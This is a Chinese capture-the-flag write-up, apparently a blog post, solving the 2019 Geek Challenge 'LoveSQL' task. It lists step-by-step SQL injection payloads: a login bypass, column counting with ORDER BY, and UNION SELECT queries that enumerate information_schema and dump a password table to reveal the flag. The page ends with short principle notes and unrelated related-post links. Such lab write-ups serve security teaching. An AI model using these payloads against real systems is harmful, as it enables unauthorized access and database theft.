极客大挑战2019-LoveSQL

这是一道无过滤单引号字符型 SQL 注入 ,核心用联合查询脱库拿 flag,全程手工可通,无需工具。


一、核心解题思路

  1. 登录框→优先测 SQL 注入,用单引号判断字符型注入
  2. 万能密码绕过登录,确认注入可用
  3. order by判断查询字段数
  4. 联合查询查库→查表→查字段→查数据
  5. 目标表l0ve1ysq1password字段存 flag

二、完整操作步骤(直接复制 Payload)

1. 判断注入点(单引号字符型)

  • 用户名:admin'
  • 密码:123
  • 现象:报SQL 语法错误 ,确认是单引号闭合的字符型注入

2. 万能密码登录绕过

  • 用户名:' or 1=1 #
  • 密码:123
  • 结果:Login Success! Hello admin!,登录成功

3. 判断字段数(order by)

依次试:

  • a' order by 1 -- a
  • a' order by 2 -- a
  • a' order by 3 -- a
  • a' order by 4 -- a
  • 到 4 时报错:Unknown column '4'字段数 = 3

4. 查当前数据库

  • 用户名:a' union select 1,database(),3 -- a
  • 密码:111
  • 得到:geek

5. 查数据库里的表

  • 用户名:

    a' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 -- a

  • 得到表:geekuser、l0ve1ysq1(flag 在 l0ve1ysq1)

6. 查 l0ve1ysq1 表的字段

  • 用户名:

    a' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'),3 -- a

  • 得到字段:id、username、password

7. 查 password 字段拿 flag

  • 用户名:

    a' union select 1,(select group_concat(password) from l0ve1ysq1),3 -- a

  • 页面 / 源码中得到:flag{a8c4dfbe30b89a18346f305e2152b702}


三、关键原理(为什么这么做)

  1. 单引号闭合 :原语句类似 select * from user where username='$name'输入a' or true -- a→变成:select * from user where username='a' or true -- a'条件恒真,登录绕过
  2. 联合查询union select拼接查询,用2、3位回显数据
  3. information_schema:MySQL 系统库,存所有库、表、字段信息
  4. group_concat:把多行结果拼成一行,方便页面显示
相关推荐
TDengine (老段)19 小时前
TDengine 索引使用指南 — 何时建、怎么建、怎么用
java·大数据·数据库·物联网·时序数据库·tdengine·涛思数据
ATA888820 小时前
企业数据库账号安全的技术解决方案
数据库·安全
DB哥讲数据库20 小时前
MySQL 8.4 安装教程:超详细图文讲解(附mysql安装包)
linux·数据库·mysql·centos
Databend20 小时前
AST Visitor API 迁移,怎么证明 AI 没改坏 SQL 语义?
数据库·ai编程
TDengine (老段)20 小时前
TDengine DDL 完整参考 — Database/STable/Table/Column/Tag
大数据·数据库·物联网·时序数据库·tdengine·涛思数据
xlxxy_20 小时前
sap获取批次特性报表
java·linux·开发语言·前端·数据库·abap·mm
栋***t20 小时前
从“工具”到“基建”,麦塔在线考试系统经历的时代变局与定位逻辑
java·大数据·数据库·开源软件·无纸化
SelectDB技术团队20 小时前
Agent 可观测性:Apache Doris / SelectDB 的技术能力、选型对比与实践
数据库·人工智能·agent·可观测·ai-native·apache doris·selectdb
csdn2015_20 小时前
kafka如何确保消息不丢失
数据库·分布式·kafka
wefg120 小时前
【MySQL】MySQL C API 访问 MySQL
数据库·mysql